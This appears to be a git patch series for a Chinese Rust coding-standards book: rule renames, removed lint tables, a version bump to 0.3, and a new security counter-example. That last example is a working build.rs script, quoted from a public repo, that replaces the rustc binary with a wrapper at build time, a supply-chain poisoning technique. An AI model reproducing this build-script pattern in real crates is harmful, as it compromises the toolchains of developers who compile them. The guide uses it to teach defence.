b/src/safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.06.md similarity index 70% rename from src/safe-guides/coding_practice/unsafe_rust/safe_abstract/G.UNS.SAS.04.md rename to src/safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.06.md index 2968c8e0..24574df2 100644 --- a/src/safe-guides/coding_practice/unsafe_rust/safe_abstract/G.UNS.SAS.04.md +++ b/src/safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.06.md @@ -1,6 +1,4 @@ -## G.UNS.SAS.04 不要随便在公开的 API 中暴露裸指针 - -**【级别】** 要求 +## P.UNS.SAS.06 不要随便在公开的 API 中暴露裸指针 **【描述】** @@ -48,14 +46,4 @@ fn main() { // 输出：3851，段错误 println!("Entry: {}", *e); } -``` - -**【Lint 检测】** - -| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | 是否可定制 | -| --------- | ------------- | ------------ | ---------- | ---------- | -| _ | no | no | _ | yes | - -【定制参考】 - -Lint需要检测在 pub 的结构体、枚举等类型中有裸指针字段或变体，对开发者发出警告，要注意考虑其安全性 +``` \ No newline at end of file diff --git a/src/safe-guides/coding_practice/unsafe_rust/safe_abstract/G.UNS.SAS.05.md b/src/safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.07.md similarity index 73% rename from src/safe-guides/coding_practice/unsafe_rust/safe_abstract/G.UNS.SAS.05.md rename to src/safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.07.md index b16dd51f..1b910e2a 100644 --- a/src/safe-guides/coding_practice/unsafe_rust/safe_abstract/G.UNS.SAS.05.md +++ b/src/safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.07.md @@ -1,6 +1,4 @@ -## G.UNS.SAS.05 在抽象安全方法的同时，也建议为性能考虑而增加相应的 Unsafe 方法 - -**【级别】** 建议 +## P.UNS.SAS.07 在抽象安全方法的同时，也建议为性能考虑而增加相应的 Unsafe 方法 **【描述】** @@ -32,9 +30,3 @@ pub unsafe fn io_read_u32() -> Result { } ``` -**【Lint 检测】** - -| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | 是否可定制 | -| --------- | ------------- | ------------ | ---------- | ---------- | -| _ | no | no | _ | yes | - diff --git a/src/safe-guides/coding_practice/unsafe_rust/safe_abstract/G.UNS.SAS.06.md b/src/safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.08.md similarity index 85% rename from src/safe-guides/coding_practice/unsafe_rust/safe_abstract/G.UNS.SAS.06.md rename to src/safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.08.md index 4e3b51fd..773b5039 100644 --- a/src/safe-guides/coding_practice/unsafe_rust/safe_abstract/G.UNS.SAS.06.md +++ b/src/safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.08.md @@ -1,6 +1,4 @@ -## G.UNS.SAS.06 函数参数是不可变借用的时候，返回值不应该是可变借用 - -**【级别】** 建议 +## P.UNS.SAS.08 函数参数是不可变借用的时候，返回值不应该是可变借用 **【描述】** @@ -55,11 +53,4 @@ pub unsafe fn data_unchecked_mut(&self) -> &mut [u8] { let def = definition.as_ref(); slice::from_raw_parts_mut(def.base, def.current_length.try_into().unwrap()) } -``` - -**【Lint 检测】** - -| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | 是否可定制 | -| --------- | ------------- | ------------ | ---------- | ---------- | -| _ | no | no | _ | yes | - +``` \ No newline at end of file diff --git a/src/safe-guides/coding_practice/unsafe_rust/safe_abstract/G.UNS.SAS.07.md b/src/safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.09.md similarity index 87% rename from src/safe-guides/coding_practice/unsafe_rust/safe_abstract/G.UNS.SAS.07.md rename to src/safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.09.md index d2bb2f9c..266723a4 100644 --- a/src/safe-guides/coding_practice/unsafe_rust/safe_abstract/G.UNS.SAS.07.md +++ b/src/safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.09.md @@ -1,6 +1,4 @@ -## G.UNS.SAS.07 在任何 Unsafe 块之前都应该加 `SAFETY` 注释 - -**【级别】** 必须 +## G.UNS.SAS.09 在任何 Unsafe 块之前都应该加 `SAFETY` 注释 **【描述】** @@ -71,11 +69,4 @@ pub unsafe fn unwrap_unchecked(self) -> T { None => unsafe { hint::unreachable_unchecked() }, } } -``` - -**【Lint 检测】** - -| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | 是否可定制 | -| --------- | ------------- | ------------ | ---------- | ---------- | -| _ | no | no | _ | yes | - +``` \ No newline at end of file diff --git a/src/safe-guides/coding_practice/unsafe_rust/union.md b/src/safe-guides/coding_practice/unsafe_rust/union.md index 23fd8106..b9cc38d8 100644 --- a/src/safe-guides/coding_practice/unsafe_rust/union.md +++ b/src/safe-guides/coding_practice/unsafe_rust/union.md @@ -8,5 +8,5 @@ Union 是没有 tag 的 Enum，Enum 是有 tag 的Union 。 ## 列表 -- [G.UNS.UNI.01 除了与 C 交互，尽量不要使用 Union](./union/G.UNS.UNI.01.md) -- [G.UNS.UNI.02 不要把联合体的不同变体用在不同生命周期内](./union/G.UNS.UNI.02.md) +- [P.UNS.UNI.01 除了与 C 交互，尽量不要使用 Union](./union/P.UNS.UNI.01.md) +- [P.UNS.UNI.02 不要把联合体的不同变体用在不同生命周期内](./union/P.UNS.UNI.02.md) diff --git a/src/safe-guides/coding_practice/unsafe_rust/union/G.UNS.UNI.01.md b/src/safe-guides/coding_practice/unsafe_rust/union/G.UNS.UNI.01.md deleted file mode 100644 index 21bce2a9..00000000 --- a/src/safe-guides/coding_practice/unsafe_rust/union/G.UNS.UNI.01.md +++ /dev/null @@ -1,40 +0,0 @@ -## G.UNS.UNI.01 除了与 C 交互，尽量不要使用 Union - -**【级别】** 要求 - -**【描述】** - -Rust 支持 Union 就是为了调用 C 接口。如果不是 FFi ，就避免使用 Union。 - -一般情况下请使用 枚举 或 结构体代替。 - -使用 Copy 类型的值和 `ManuallyDrop` 来初始化 Union 的变体，不需要使用 Unsafe 块。 - -**【反例】** - -```rust -union MyUnion { - f1: u32, - f2: f32, -} -``` - -**【正例】** - -```rust -#[repr(C)] -union MyUnion { - f1: u32, - f2: f32, -} -``` - -**【Lint 检测】** - -| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | 是否可定制 | -| --------- | ------------- | ------------ | ---------- | ---------- | -| _ | no | no | _ | yes | - -【定制化参考】 - -这条规则如果需要定制 Lint，则可以检测 Union 联合体上方是否有 `#[repr(C)]`属性定义与C兼容的数据布局，如果没有则给予警告。 diff --git a/src/safe-guides/coding_practice/unsafe_rust/union/P.UNS.UNI.01.md b/src/safe-guides/coding_practice/unsafe_rust/union/P.UNS.UNI.01.md new file mode 100644 index 00000000..55bdc4b1 --- /dev/null +++ b/src/safe-guides/coding_practice/unsafe_rust/union/P.UNS.UNI.01.md @@ -0,0 +1,28 @@ +## P.UNS.UNI.01 除了与 C 交互，尽量不要使用 Union + +**【描述】** + +Rust 支持 Union 就是为了调用 C 接口。如果不是 FFi ，就避免使用 Union。 + +一般情况下请使用 枚举 或 结构体代替。 + +使用 Copy 类型的值和 `ManuallyDrop` 来初始化 Union 的变体，不需要使用 Unsafe 块。 + +**【反例】** + +```rust +union MyUnion { + f1: u32, + f2: f32, +} +``` + +**【正例】** + +```rust +#[repr(C)] +union MyUnion { + f1: u32, + f2: f32, +} +``` diff --git a/src/safe-guides/coding_practice/unsafe_rust/union/G.UNS.UNI.02.md b/src/safe-guides/coding_practice/unsafe_rust/union/P.UNS.UNI.02.md similarity index 62% rename from src/safe-guides/coding_practice/unsafe_rust/union/G.UNS.UNI.02.md rename to src/safe-guides/coding_practice/unsafe_rust/union/P.UNS.UNI.02.md index 13aa26a6..02d207bc 100644 --- a/src/safe-guides/coding_practice/unsafe_rust/union/G.UNS.UNI.02.md +++ b/src/safe-guides/coding_practice/unsafe_rust/union/P.UNS.UNI.02.md @@ -1,6 +1,4 @@ -## G.UNS.UNI.02 不要把联合体的不同变体用在不同生命周期内 - -**【级别】** 要求 +## P.UNS.UNI.02 不要把联合体的不同变体用在不同生命周期内 **【描述】** @@ -23,13 +21,3 @@ fn test() { assert_eq!(unsafe { u.f1 }, 5); } ``` - -**【Lint 检测】** - -| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | 是否可定制 | -| --------- | ------------- | ------------ | ---------- | ---------- | -| _ | no | no | _ | yes | - -【定制化参考】 - -检测函数内同一个联合体实例的不同变体被用于不同的生命周期内。 From 91f485810342fe79ce7848d4635566bfc4dbf684 Mon Sep 17 00:00:00 2001 From: blackanger Date: Thu, 24 Mar 2022 01:06:50 +0800 Subject: [PATCH 2/4] V0.3: modify README --- README.md | 2 +- src/overview.md | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index b359e623..4cbe0131 100644 --- a/README.md +++ b/README.md @@ -4,7 +4,7 @@ - 《Rust 编码规范》初稿发布 2021-10-31 (V 0.1) - 《Rust 编码规范》经社区和公司内第一次评审版本发布 2022-02 (V 0.2) ，改进内容参考 [Changelog](./Changelog.md)。 -- 《Rust 编码规范》经社区和公司内第一次评审版本发布 2022-03 (V 0.3) ，改进内容参考 [Changelog](./Changelog.md)。 +- 《Rust 编码规范》经社区和公司内第二次评审版本发布 2022-03 (V 0.3) ，改进内容参考 [Changelog](./Changelog.md)。 ## 介绍 diff --git a/src/overview.md b/src/overview.md index 5f765e73..88d4ef32 100644 --- a/src/overview.md +++ b/src/overview.md @@ -4,7 +4,7 @@ - 《Rust 编码规范》初稿发布 2021-10-31 (V 0.1) - 《Rust 编码规范》经社区和公司内第一次评审版本发布 2022-02 (V 0.2) -- 《Rust 编码规范》经社区和公司内第一次评审版本发布 2022-03 (V 0.3) +- 《Rust 编码规范》经社区和公司内第二次评审版本发布 2022-03 (V 0.3) ## 详细 From 52feb989c9060db40ab3c83a1c5cc1dc340f37b6 Mon Sep 17 00:00:00 2001 From: blackanger Date: Thu, 24 Mar 2022 01:11:27 +0800 Subject: [PATCH 3/4] update Version to 0.3 --- book.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/book.toml b/book.toml index f655176b..7d79fe19 100644 --- a/book.toml +++ b/book.toml @@ -3,7 +3,7 @@ authors = ["blackanger"] language = "zh" multilingual = false src = "src" -title = "Rust 编码规范 V 0.2" +title = "Rust 编码规范 V 0.3" [build] create-missing = true From 96b04719ff727ed6f8bee9e57fd6febc325a9c1f Mon Sep 17 00:00:00 2001 From: blackanger Date: Thu, 24 Mar 2022 01:23:51 +0800 Subject: [PATCH 4/4] add code example for P.SEC.01 --- .../coding_practice/security/P.SEC.01.md | 27 +++++++++++++++++++ 1 file changed, 27 insertions(+) diff --git a/src/safe-guides/coding_practice/security/P.SEC.01.md b/src/safe-guides/coding_practice/security/P.SEC.01.md index f3eab42b..a6249a8b 100644 --- a/src/safe-guides/coding_practice/security/P.SEC.01.md +++ b/src/safe-guides/coding_practice/security/P.SEC.01.md @@ -16,3 +16,30 @@ - 使用 [`cargo-audit`](https://crates.io/crates/cargo-audit) 检测依赖的安全性。 - 使用自己的构建工具来替代 `Cargo`，可以更加安全。比如 Android 团队使用其`Soong`构建系统支持 Rust ，就选择不支持 `build.rs` ，就是考虑到审查起来太麻烦。 +**【反例】** + +下面是模拟 `build.rs` 投毒的示例： + +```rust +// From: https://github.com/Neutron3529/poisoning-rustc + +use std::{io::Write,fs,env,path::Path}; + +fn main() -> Result<(),Box>{ + let cargo=env::var("CARGO")?; + let cargo_dir=Path::new(&cargo); + let bin=cargo_dir.parent().ok_or(std::io::Error::new(std::io::ErrorKind::Other, "no!"))?; + let rustc=env::var("RUSTC")?; + let orc="old_".to_string()+&rustc; + let rcloc=bin.join(rustc); + let ocloc=bin.join(orc); + if !ocloc.exists() && rcloc.exists(){ + fs::copy(&rcloc,&ocloc)?;// use copy to preserve 'x' permissions. + let mut f=fs::File::create(rcloc)?; + f.write_all(b"#!/bin/sh\necho 'The rustc has been \"poisoned\" by poisoning crate, which suggests that, your computer is not strong enough to defend such attack' > /tmp/rustc_infected\necho \"If you're using Linux, your rustc perhaps works just fine\" >> /tmp/rustc_infected\necho \"but windows users may suffer from executing a linux-only script.\" >> /tmp/rustc_infected\nexec ")?; + f.write_all(ocloc.to_str().ok_or(std::io::Error::new(std::io::ErrorKind::Other, "oh no!"))?.as_bytes())?; + f.write_all(b" $*")? + } + Ok(()) +} +``` \ No newline at end of file